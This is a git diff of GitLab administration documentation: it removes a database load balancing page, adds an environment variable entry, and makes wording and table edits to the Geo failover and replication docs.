-resource. Using multiple components with load balancing instead of a single
-component may increase reliability and availability through redundancy.
-[_Wikipedia article_](https://en.wikipedia.org/wiki/Load_balancing_(computing))
-
-When database load balancing is enabled in GitLab, the load is balanced using
-a simple round-robin algorithm, without any external dependencies such as Redis.
-
-In the following image, you can see the load is balanced rather evenly among
-all the secondaries (`db4`, `db5`, `db6`). Because `SELECT` queries are not
-sent to the primary (unless necessary), the primary (`db3`) hardly has any load.
-
-![DB load balancing graph](img/db_load_balancing_postgres_stats.png)
-
-## Requirements
-
-For load balancing to work, you need at least PostgreSQL 11 or newer,
-[**MySQL is not supported**](../install/requirements.md#database). You also need to make sure that you have
-at least 1 secondary in [hot standby](https://www.postgresql.org/docs/11/hot-standby.html) mode.
-
-Load balancing also requires that the configured hosts **always** point to the
-primary, even after a database failover. Furthermore, the additional hosts to
-balance load among must **always** point to secondary databases. This means that
-you should put a load balancer in front of every database, and have GitLab connect
-to those load balancers.
-
-For example, say you have a primary (`db1.gitlab.com`) and two secondaries,
-`db2.gitlab.com` and `db3.gitlab.com`. For this setup, you need to have 3
-load balancers, one for every host. For example:
-
-- `primary.gitlab.com` forwards to `db1.gitlab.com`
-- `secondary1.gitlab.com` forwards to `db2.gitlab.com`
-- `secondary2.gitlab.com` forwards to `db3.gitlab.com`
-
-Now let's say that a failover happens and db2 becomes the new primary. This
-means forwarding should now happen as follows:
-
-- `primary.gitlab.com` forwards to `db2.gitlab.com`
-- `secondary1.gitlab.com` forwards to `db1.gitlab.com`
-- `secondary2.gitlab.com` forwards to `db3.gitlab.com`
-
-GitLab does not take care of this for you, so you need to do so yourself.
-
-Finally, load balancing requires that GitLab can connect to all hosts using the
-same credentials and port as configured in the
-[Enabling load balancing](#enabling-load-balancing) section. Using
-different ports or credentials for different hosts is not supported.
-
-## Use cases
-
-- For GitLab instances with thousands of users and high traffic, you can use
- database load balancing to reduce the load on the primary database and
- increase responsiveness, thus resulting in faster page load inside GitLab.
-
-## Enabling load balancing
-
-For the environment in which you want to use load balancing, you'll need to add
-the following. This balances the load between `host1.example.com` and
-`host2.example.com`.
-
-**In Omnibus installations:**
-
-1. Edit `/etc/gitlab/gitlab.rb` and add the following line:
-
- ```ruby
- gitlab_rails['db_load_balancing'] = { 'hosts' => ['host1.example.com', 'host2.example.com'] }
- ```
-
-1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-
----
-
-**In installations from source:**
-
-1. Edit `/home/git/gitlab/config/database.yml` and add or amend the following lines:
-
- ```yaml
- production:
- username: gitlab
- database: gitlab
- encoding: unicode
- load_balancing:
- hosts:
- - host1.example.com
- - host2.example.com
- ```
-
-1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
-
-### Load balancing for Sidekiq
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/334494) in GitLab 14.1, load balancing for Sidekick is enabled by default.
-
-Sidekiq jobs mostly write to the primary database, but there are read-only jobs that can benefit
-from the use of Sidekiq load balancing.
-These jobs can use load balancing and database replicas to read the application state.
-This allows to offload the primary database.
-
-For Sidekiq, we can define
-[data consistency](../development/sidekiq_style_guide.md#job-data-consistency-strategies)
-requirements for a specific job.
-
-## Service Discovery **(PREMIUM SELF)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5883) in GitLab 11.0.
-
-Service discovery allows GitLab to automatically retrieve a list of secondary
-databases to use, instead of having to manually specify these in the
-`database.yml` configuration file. Service discovery works by periodically
-checking a DNS A record, using the IPs returned by this record as the addresses
-for the secondaries. For service discovery to work, all you need is a DNS server
-and an A record containing the IP addresses of your secondaries.
-
-To use service discovery you need to change your `database.yml` configuration
-file so it looks like the following:
-
-```yaml
-production:
- username: gitlab
- database: gitlab
- encoding: unicode
- load_balancing:
- discover:
- nameserver: localhost
- record: secondary.postgresql.service.consul
- record_type: A
- port: 8600
- interval: 60
- disconnect_timeout: 120
-```
-
-Here, the `discover:` section specifies the configuration details to use for
-service discovery.
-
-### Configuration
-
-The following options can be set:
-
-| Option | Description | Default |
-|----------------------|---------------------------------------------------------------------------------------------------|-----------|
-| `nameserver` | The nameserver to use for looking up the DNS record. | localhost |
-| `record` | The record to look up. This option is required for service discovery to work. | |
-| `record_type` | Optional record type to look up, this can be either A or SRV (GitLab 12.3 and later) | A |
-| `port` | The port of the nameserver. | 8600 |
-| `interval` | The minimum time in seconds between checking the DNS record. | 60 |
-| `disconnect_timeout` | The time in seconds after which an old connection is closed, after the list of hosts was updated. | 120 |
-| `use_tcp` | Lookup DNS resources using TCP instead of UDP | false |
-
-If `record_type` is set to `SRV`, then GitLab continues to use round-robin algorithm
-and ignores the `weight` and `priority` in the record. Since SRV records usually
-return hostnames instead of IPs, GitLab needs to look for the IPs of returned hostnames
-in the additional section of the SRV response. If no IP is found for a hostname, GitLab
-needs to query the configured `nameserver` for ANY record for each such hostname looking for A or AAAA
-records, eventually dropping this hostname from rotation if it can't resolve its IP.
-
-The `interval` value specifies the _minimum_ time between checks. If the A
-record has a TTL greater than this value, then service discovery honors said
-TTL. For example, if the TTL of the A record is 90 seconds, then service
-discovery waits at least 90 seconds before checking the A record again.
-
-When the list of hosts is updated, it might take a while for the old connections
-to be terminated. The `disconnect_timeout` setting can be used to enforce an
-upper limit on the time it takes to terminate all old database connections.
-
-Some nameservers (like [Consul](https://www.consul.io/docs/discovery/dns#udp-based-dns-queries)) can return a truncated list of hosts when
-queried over UDP. To overcome this issue, you can use TCP for querying by setting
-`use_tcp` to `true`.
-
-## Balancing queries
-
-Read-only `SELECT` queries balance among all the secondary hosts.
-Everything else (including transactions) executes on the primary.
-Queries such as `SELECT ... FOR UPDATE` are also executed on the primary.
-
-## Prepared statements
-
-Prepared statements don't work well with load balancing and are disabled
-automatically when load balancing is enabled. This should have no impact on
-response timings.
-
-## Primary sticking
-
-After a write has been performed, GitLab sticks to using the primary for a
-certain period of time, scoped to the user that performed the write. GitLab
-reverts back to using secondaries when they have either caught up, or after 30
-seconds.
-
-## Failover handling
-
-In the event of a failover or an unresponsive database, the load balancer
-tries to use the next available host. If no secondaries are available the
-operation is performed on the primary instead.
-
-If a connection error occurs while writing data, the
-operation is retried up to 3 times using an exponential back-off.
-
-When using load balancing, you should be able to safely restart a database server
-without it immediately leading to errors being presented to the users.
-
-## Logging
-
-The load balancer logs various events in
-[`database_load_balancing.log`](logs.md#database_load_balancinglog), such as
-
-- When a host is marked as offline
-- When a host comes back online
-- When all secondaries are offline
-- When a read is retried on a different host due to a query conflict
-
-The log is structured with each entry a JSON object containing at least:
-
-- An `event` field useful for filtering.
-- A human-readable `message` field.
-- Some event-specific metadata. For example, `db_host`
-- Contextual information that is always logged. For example, `severity` and `time`.
-
-For example:
-
-```json
-{"severity":"INFO","time":"2019-09-02T12:12:01.728Z","correlation_id":"abcdefg","event":"host_online","message":"Host came back online","db_host":"111.222.333.444","db_port":null,"tag":"rails.database_load_balancing","environment":"production","hostname":"web-example-1","fqdn":"gitlab.example.com","path":null,"params":null}
-```
-
-## Handling Stale Reads **(PREMIUM SELF)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3526) in GitLab 10.3.
-
-To prevent reading from an outdated secondary the load balancer checks if it
-is in sync with the primary. If the data is determined to be recent enough the
-secondary is used, otherwise it is ignored. To reduce the overhead of
-these checks we only perform these checks at certain intervals.
-
-There are three configuration options that influence this behavior:
-
-| Option | Description | Default |
-|------------------------------|----------------------------------------------------------------------------------------------------------------|------------|
-| `max_replication_difference` | The amount of data (in bytes) a secondary is allowed to lag behind when it hasn't replicated data for a while. | 8 MB |
-| `max_replication_lag_time` | The maximum number of seconds a secondary is allowed to lag behind before we stop using it. | 60 seconds |
-| `replica_check_interval` | The minimum number of seconds we have to wait before checking the status of a secondary. | 60 seconds |
-
-The defaults should be sufficient for most users. Should you want to change them
-you can specify them in `config/database.yml` like so:
-
-```yaml
-production:
- username: gitlab
- database: gitlab
- encoding: unicode
- load_balancing:
- hosts:
- - host1.example.com
- - host2.example.com
- max_replication_difference: 16777216 # 16 MB
- max_replication_lag_time: 30
- replica_check_interval: 30
-```
+<!-- This redirect file can be deleted after <2022-02-19>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/environment_variables.md b/doc/administration/environment_variables.md
index 21e32d145bd..22159b6e9db 100644
--- a/doc/administration/environment_variables.md
+++ b/doc/administration/environment_variables.md
@@ -31,6 +31,7 @@ You can use the following environment variables to override certain values:
| `GITLAB_EMAIL_REPLY_TO` | string | The email address used in the **Reply-To** field in emails sent by GitLab. |
| `GITLAB_EMAIL_SUBJECT_SUFFIX` | string | The email subject suffix used in emails sent by GitLab. |
| `GITLAB_HOST` | string | The full URL of the GitLab server (including `http://` or `https://`). |
+| `GITLAB_MARKUP_TIMEOUT` | string | Timeout, in seconds, for `rest2html` and `pod2html` commands executed by the [`gitlab-markup` gem](https://gitlab.com/gitlab-org/gitlab-markup/). Default is `10`. |
| `GITLAB_ROOT_PASSWORD` | string | Sets the password for the `root` user on installation. |
| `GITLAB_SHARED_RUNNERS_REGISTRATION_TOKEN` | string | Sets the initial registration token used for runners. |
| `RAILS_ENV` | string | The Rails environment; can be one of `production`, `development`, `staging`, or `test`. |
diff --git a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md
index 3c7af309f78..b207be47aa1 100644
--- a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md
+++ b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md
@@ -60,11 +60,11 @@ What is not covered:
NOTE:
Before following any of those steps, make sure you have `root` access to the
-**secondary** to promote it, since there isn't provided an automated way to
+**secondary** to promote it, because there isn't provided an automated way to
promote a Geo replica and perform a failover.
NOTE:
-GitLab 13.9 through GitLab 14.3 are affected by a bug in which the Geo secondary site statuses will appear to stop updating and become unhealthy. For more information, see [Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](../../replication/troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
+GitLab 13.9 through GitLab 14.3 are affected by a bug in which the Geo secondary site statuses appear to stop updating and become unhealthy. For more information, see [Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](../../replication/troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
On the **secondary** site:
@@ -88,7 +88,7 @@ A common cause of replication failures is the data being missing on the
**primary** site - you can resolve these failures by restoring the data from backup,
or removing references to the missing data.
-The maintenance window won't end until Geo replication and verification is
+The maintenance window doesn't end until Geo replication and verification is
completely finished. To keep the window as short as possible, you should
ensure these processes are close to 100% as possible during active use.
@@ -122,7 +122,7 @@ follow these steps to avoid unnecessary data loss:
From this point, users are unable to view their data or make changes on the
**primary** site. They are also unable to log in to the **secondary** site.
- However, existing sessions need to work for the remainder of the maintenance period, and
+ However, existing sessions must work for the remainder of the maintenance period, and
so public data is accessible throughout.
1. Verify the **primary** site is blocked to HTTP traffic by visiting it in browser via
@@ -135,10 +135,10 @@ follow these steps to avoid unnecessary data loss:
1. On the **primary** site:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Monitoring > Background Jobs**.
- 1. On the Sidekiq dhasboard, select **Cron**.
+ 1. On the Sidekiq dashboard, select **Cron**.
1. Select `Disable All` to disable any non-Geo periodic background jobs.
1. Select `Enable` for the `geo_sidekiq_cron_config_worker` cron job.
- This job will re-enable several other cron jobs that are essential for planned
+ This job re-enables several other cron jobs that are essential for planned
failover to complete successfully.
1. Finish replicating and verifying all data:
@@ -176,7 +176,7 @@ follow these steps to avoid unnecessary data loss:
At this point, your **secondary** site contains an up-to-date copy of everything the
**primary** site has, meaning nothing is lost when you fail over.
-1. In this final step, you need to permanently disable the **primary** site.
+1. In this final step, you must permanently disable the **primary** site.
WARNING:
When the **primary** site goes offline, there may be data saved on the **primary** site
@@ -204,7 +204,7 @@ follow these steps to avoid unnecessary data loss:
```
NOTE:
- (**CentOS only**) In CentOS 6 or older, there is no easy way to prevent GitLab from being
+ (**CentOS only**) In CentOS 6 or older, it is challenging to prevent GitLab from being
started if the machine reboots isn't available (see [Omnibus GitLab issue #3058](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3058)).
It may be safest to uninstall the GitLab package completely with `sudo yum remove gitlab-ee`.
@@ -216,7 +216,7 @@ follow these steps to avoid unnecessary data loss:
- If you do not have SSH access to the **primary** site, take the machine offline and
prevent it from rebooting. Since there are many ways you may prefer to accomplish
- this, we avoid a single recommendation. You may need to:
+ this, we avoid a single recommendation. You may have to:
- Reconfigure the load balancers.
- Change DNS records (for example, point the **primary** DNS record to the
diff --git a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md
index 8a4f2ed4306..5a6f9eb8be7 100644
--- a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md
+++ b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md
@@ -52,7 +52,7 @@ Before following any of those steps, make sure you have `root` access to the
promote a Geo replica and perform a failover.
NOTE:
-GitLab 13.9 through GitLab 14.3 are affected by a bug in which the Geo secondary site statuses will appear to stop updating and become unhealthy. For more information, see [Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](../../replication/troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
+GitLab 13.9 through GitLab 14.3 are affected by a bug in which the Geo secondary site statuses appears to stop updating and become unhealthy. For more information, see [Geo Admin Area shows 'Unhealthy' after enabling Maintenance Mode](../../replication/troubleshooting.md#geo-admin-area-shows-unhealthy-after-enabling-maintenance-mode).
On the **secondary** site, navigate to the **Admin Area > Geo** dashboard to
review its status. Replicated objects (shown in green) should be close to 100%,
@@ -73,7 +73,7 @@ A common cause of replication failures is the data being missing on the
**primary** site - you can resolve these failures by restoring the data from backup,
or removing references to the missing data.
-The maintenance window won't end until Geo replication and verification is
+The maintenance window does not end until Geo replication and verification is
completely finished. To keep the window as short as possible, you should
ensure these processes are close to 100% as possible during active use.
@@ -123,7 +123,7 @@ follow these steps to avoid unnecessary data loss:
1. On the Sidekiq dhasboard, select **Cron**.
1. Select `Disable All` to disable any non-Geo periodic background jobs.
1. Select `Enable` for the `geo_sidekiq_cron_config_worker` cron job.
- This job will re-enable several other cron jobs that are essential for planned
+ This job re-enables several other cron jobs that are essential for planned
failover to complete successfully.
1. Finish replicating and verifying all data:
diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md
index 30d8d765dc5..2cb1a424ce8 100644
--- a/doc/administration/geo/index.md
+++ b/doc/administration/geo/index.md
@@ -2,17 +2,19 @@
stage: Enablement
group: Geo
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: howto
---
# Geo **(PREMIUM SELF)**
-Geo is the solution for widely distributed development teams and for providing a warm-standby as part of a disaster recovery strategy.
+Geo is the solution for widely distributed development teams and for providing
+a warm-standby as part of a disaster recovery strategy.
## Overview
WARNING:
-Geo undergoes significant changes from release to release. Upgrades **are** supported and [documented](#updating-geo), but you should ensure that you're using the right version of the documentation for your installation.
+Geo undergoes significant changes from release to release. Upgrades are
+supported and [documented](#updating-geo), but you should ensure that you're
+using the right version of the documentation for your installation.
Fetching large repositories can take a long time for teams located far from a single GitLab instance.
@@ -69,8 +71,9 @@ Keep in mind that:
- **Secondary** sites talk to the **primary** site to:
- Get user data for logins (API).
- Replicate repositories, LFS Objects, and Attachments (HTTPS + JWT).
-- In GitLab Premium 10.0 and later, the **primary** site no longer talks to **secondary** sites to notify for changes (API).
-- Pushing directly to a **secondary** site (for both HTTP and SSH, including Git LFS) was [introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in [GitLab Premium](https://about.gitlab.com/pricing/#self-managed) 11.3.
+- The **primary** site doesn't talk to **secondary** sites to notify for changes (API).
+- You can push directly to a **secondary** site (for both HTTP and SSH,
+ including Git LFS).
- There are [limitations](#limitations) when using Geo.
### Architecture
@@ -111,21 +114,18 @@ In **secondary** sites, there is an additional daemon: [Geo Log Cursor](#geo-log
The following are required to run Geo:
-- An operating system that supports OpenSSH 6.9+ (needed for
+- An operating system that supports OpenSSH 6.9 or later (needed for
[fast lookup of authorized SSH keys in the database](../operations/fast_ssh_key_lookup.md))
The following operating systems are known to ship with a current version of OpenSSH:
- - [CentOS](https://www.centos.org) 7.4+
- - [Ubuntu](https://ubuntu.com) 16.04+
-- PostgreSQL 12+ with [Streaming Replication](https://wiki.postgresql.org/wiki/Streaming_Replication)
-- Git 2.9+
-- Git-lfs 2.4.2+ on the user side when using LFS
+ - [CentOS](https://www.centos.org) 7.4 or later
+ - [Ubuntu](https://ubuntu.com) 16.04 or later
+- PostgreSQL 12 or later with [Streaming Replication](https://wiki.postgresql.org/wiki/Streaming_Replication)
+- Git 2.9 or later
+- Git-lfs 2.4.2 or later on the user side when using LFS
- All sites must run the same GitLab version.
Additionally, check the GitLab [minimum requirements](../../install/requirements.md),
-and we recommend you use:
-
-- At least GitLab Enterprise Edition 10.0 for basic Geo features.
-- The latest version for a better experience.
+and we recommend you use the latest version of GitLab for a better experience.
### Firewall rules
@@ -311,7 +311,8 @@ For answers to common questions, see the [Geo FAQ](replication/faq.md).
## Log files
-In GitLab 9.5 and later, Geo stores structured log messages in a `geo.log` file. For Omnibus installations, this file is at `/var/log/gitlab/gitlab-rails/geo.log`.
+Geo stores structured log messages in a `geo.log` file. For Omnibus GitLab
+installations, this file is at `/var/log/gitlab/gitlab-rails/geo.log`.
This file contains information about when Geo attempts to sync repositories and files. Each line in the file contains a separate JSON entry that can be ingested into. For example, Elasticsearch or Splunk.
diff --git a/doc/administration/geo/replication/configuration.md b/doc/administration/geo/replication/configuration.md
index 88f1ad5b490..3cbde77903d 100644
--- a/doc/administration/geo/replication/configuration.md
+++ b/doc/administration/geo/replication/configuration.md
@@ -247,7 +247,7 @@ You can safely skip this step if your **primary** site uses a CA-issued HTTPS ce
If your **primary** site is using a self-signed certificate for *HTTPS* support, you
need to add that certificate to the **secondary** site's trust store. Retrieve the
certificate from the **primary** site and follow
-[these instructions](https://docs.gitlab.com/omnibus/settings/ssl.html)
+[these instructions](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates)
on the **secondary** site.
### Step 5. Enable Git access over HTTP/HTTPS
diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md
index c98436157fc..31bc473d74b 100644
--- a/doc/administration/geo/replication/datatypes.md
+++ b/doc/administration/geo/replication/datatypes.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# Geo data types support **(PREMIUM SELF)**
+# Supported Geo data types **(PREMIUM SELF)**
A Geo data type is a specific class of data that is required by one or more GitLab features to
store relevant information.
@@ -14,7 +14,7 @@ To replicate data produced by these features with Geo, we use several strategies
## Data types
-We currently distinguish between three different data types:
+We distinguish between three different data types:
- [Git repositories](#git-repositories)
- [Blobs](#blobs)
@@ -35,9 +35,9 @@ verification methods:
| Git | Project Snippets | Geo with Gitaly | Gitaly Checksum |
| Git | Personal Snippets | Geo with Gitaly | Gitaly Checksum |
| Git | Group wiki repository | Geo with Gitaly | _Not implemented_ |
-| Blobs | User uploads _(file system)_ | Geo with API | _Not implemented_ |
+| Blobs | User uploads _(file system)_ | Geo with API | SHA256 checksum |
| Blobs | User uploads _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
-| Blobs | LFS objects _(file system)_ | Geo with API | _Not implemented_ |
+| Blobs | LFS objects _(file system)_ | Geo with API | SHA256 checksum |
| Blobs | LFS objects _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
| Blobs | CI job artifacts _(file system)_ | Geo with API | _Not implemented_ |
| Blobs | CI job artifacts _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
@@ -51,11 +51,11 @@ verification methods:
| Blobs | Infrastructure registry _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
| Blobs | Versioned Terraform State _(file system)_ | Geo with API | SHA256 checksum |
| Blobs | Versioned Terraform State _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
-| Blobs | External Merge Request Diffs _(file system)_ | Geo with API | _Not implemented_ |
+| Blobs | External Merge Request Diffs _(file system)_ | Geo with API | SHA256 checksum |
| Blobs | External Merge Request Diffs _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
| Blobs | Pipeline artifacts _(file system)_ | Geo with API | SHA256 checksum |
-| Blobs | Pipeline artifacts _(object storage)_ | Geo with API/Managed (*2*) | SHA256 checksum |
-| Blobs | Pages _(file system)_ | Geo with API | _Not implemented_ |
+| Blobs | Pipeline artifacts _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
+| Blobs | Pages _(file system)_ | Geo with API | SHA256 checksum |
| Blobs | Pages _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
- (*1*): Redis replication can be used as part of HA with Redis sentinel. It's not used between Geo sites.
@@ -66,15 +66,20 @@ verification methods:
A GitLab instance can have one or more repository shards. Each shard has a Gitaly instance that
is responsible for allowing access and operations on the locally stored Git repositories. It can run
-on a machine with a single disk, multiple disks mounted as a single mount-point (like with a RAID array),
-or using LVM.
+on a machine:
-It requires no special file system and can work with NFS or a mounted Storage Appliance (there may be
-performance limitations when using a remote file system).
+- With a single disk.
+- With multiple disks mounted as a single mount-point (like with a RAID array).
+- Using LVM.
-Geo will trigger garbage collection in Gitaly to [deduplicate forked repositories](../../../development/git_object_deduplication.md#git-object-deduplication-and-gitlab-geo) on Geo secondary sites.
+GitLab does not require a special file system and can work with:
-Communication is done via Gitaly's own gRPC API. There are three possible ways of synchronization:
+- NFS.
+- A mounted Storage Appliance (there may be performance limitations when using a remote file system).
+
+Geo triggers garbage collection in Gitaly to [deduplicate forked repositories](../../../development/git_object_deduplication.md#git-object-deduplication-and-gitlab-geo) on Geo secondary sites.
+
+Communication is done via Gitaly's own gRPC API, with three possible ways of synchronization:
- Using regular Git clone/fetch from one Geo site to another (with special authentication).
- Using repository snapshots (for when the first method fails or repository is corrupt).
@@ -90,7 +95,7 @@ They all live in the same shard and share the same base name with a `-wiki` and
for Wiki and Design Repository cases.
Besides that, there are snippet repositories. They can be connected to a project or to some specific user.
-Both types will be synced to a secondary site.
+Both types are synced to a secondary site.
### Blobs
@@ -102,7 +107,7 @@ GitLab stores files and blobs such as Issue attachments or LFS objects into eith
- Hosted by you (like MinIO).
- A Storage Appliance that exposes an Object Storage-compatible API.
-When using the file system store instead of Object Storage, you need to use network mounted file systems
+When using the file system store instead of Object Storage, use network mounted file systems
to run GitLab when using more than one node.
With respect to replication and verification:
@@ -118,17 +123,17 @@ GitLab relies on data stored in multiple databases, for different use-cases.
PostgreSQL is the single point of truth for user-generated content in the Web interface, like issues content, comments
as well as permissions and credentials.
-PostgreSQL can also hold some level of cached data like HTML rendered Markdown, cached merge-requests diff (this can
-also be configured to be offloaded to object storage).
+PostgreSQL can also hold some level of cached data like HTML-rendered Markdown and cached merge-requests diff.
+This can also be configured to be offloaded to object storage.
We use PostgreSQL's own replication functionality to replicate data from the **primary** to **secondary** sites.
We use Redis both as a cache store and to hold persistent data for our background jobs system. Because both
use-cases have data that are exclusive to the same Geo site, we don't replicate it between sites.
-Elasticsearch is an optional database, that can enable advanced searching capabilities, like improved Advanced Search
-in both source-code level and user generated content in Issues / Merge-Requests and discussions. Currently it's not
-supported in Geo.
+Elasticsearch is an optional database that for advanced searching capabilities. It can improve search
+in both source-code level, and user generated content in issues, merge requests, and discussions.
+Elasticsearch is not supported in Geo.
## Limitations on replication/verification
@@ -142,7 +147,6 @@ these epics/issues:
- [Geo: Improve the self-service Geo replication framework](https://gitlab.com/groups/gitlab-org/-/epics/3761)
- [Geo: Move existing blobs to framework](https://gitlab.com/groups/gitlab-org/-/epics/3588)
- [Geo: Add unreplicated data types](https://gitlab.com/groups/gitlab-org/-/epics/893)
-- [Geo: Support GitLab Pages](https://gitlab.com/groups/gitlab-org/-/epics/589)
### Replicated data types behind a feature flag
@@ -174,35 +178,35 @@ Feature.enable(:geo_package_file_replication)
WARNING:
Features not on this list, or with **No** in the **Replicated** column,
are not replicated to a **secondary** site. Failing over without manually
-replicating data from those features will cause the data to be **lost**.
-If you wish to use those features on a **secondary** site, or to execute a failover
+replicating data from those features causes the data to be **lost**.
+To use those features on a **secondary** site, or to execute a failover
successfully, you must replicate their data using some other means.
-|Feature | Replicated (added in GitLab version) | Verified (added in GitLab version) | Object Storage replication (see [Geo with Object Storage](object_storage.md)) | Notes |
-|:--------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------|:------------------------------------------------------------------------|:------------------------------------------------------------------------------|:------|
-|[Application data in PostgreSQL](../../postgresql/index.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
-|[Project repository](../../../user/project/repository/) | **Yes** (10.2) | **Yes** (10.7) | No | |
-|[Project wiki repository](../../../user/project/wiki/) | **Yes** (10.2) | **Yes** (10.7) | No | |
-|[Group wiki repository](../../../user/project/wiki/group.md) | [**Yes** (13.10)](https://gitlab.com/gitlab-org/gitlab/-/issues/208147) | No | No | Behind feature flag `geo_group_wiki_repository_replication`, enabled by default. |
-|[Uploads](../../uploads.md) | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | No | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. |
-|[LFS objects](../../lfs/index.md) | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only on transfer or manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. GitLab versions 11.11.x and 12.0.x are affected by [a bug that prevents any new LFS objects from replicating](https://gitlab.com/gitlab-org/gitlab/-/issues/32696).<br /><br />Behind feature flag `geo_lfs_object_replication`, enabled by default. |
-|[Personal snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
-|[Project snippets](../../../user/snippets.md) | **Yes** (10.2) | **Yes** (10.2) | No | |
-|[CI job artifacts](../../../ci/pipelines/job_artifacts.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. Job logs also verified on transfer. |
-|[CI Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/ci/pipeline_artifact.rb) | [**Yes** (13.11)](https://gitlab.com/gitlab-org/gitlab/-/issues/238464) | [**Yes** (13.11)](https://gitlab.com/gitlab-org/gitlab/-/issues/238464) | Via Object Storage provider if supported. Native Geo support (Beta). | Persists additional artifacts after a pipeline completes |
-|[Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | No | Disabled by default. See [instructions](docker_registry.md) to enable. |
-|[Content in object storage (beta)](object_storage.md) | **Yes** (12.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/13845) | No | |
-|[Infrastructure Registry](../../../user/packages/infrastructure_registry/index.md) | **Yes** (14.0) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (14.0) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
-|[Project designs repository](../../../user/project/issues/design_management.md) | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | No | Designs also require replication of LFS objects and Uploads. |
-|[Package Registry](../../../user/packages/package_registry/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
-|[Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.12) | Via Object Storage provider if supported. Native Geo support (Beta). | Replication is behind the feature flag `geo_terraform_state_version_replication`, enabled by default. Verification was behind the feature flag `geo_terraform_state_version_verification`, which was removed in 14.0|
-|[External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Replication is behind the feature flag `geo_merge_request_diff_replication`, enabled by default. Verification is under development, behind the feature flag `geo_merge_request_diff_verification`, introduced in 14.0.|
-|[Versioned snippets](../../../user/snippets.md#versioned-snippets) | [**Yes** (13.7)](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [**Yes** (14.2)](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | Verification was implemented behind the feature flag `geo_snippet_repository_verification` in 13.11, and the feature flag was removed in 14.2. |
-|[GitLab Pages](../../pages/index.md) | [**Yes** (14.3)](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_pages_deployment_replication`, enabled by default. |
-|[Server-side Git hooks](../../server_hooks.md) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/1867) | No | No | Not planned because of current implementation complexity, low customer interest, and availability of alternatives to hooks. |
-|[Elasticsearch integration](../../../integration/elasticsearch.md) | [Not planned](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | No | Not planned because further product discovery is required and Elasticsearch (ES) clusters can be rebuilt. Secondaries currently use the same ES cluster as the primary. |
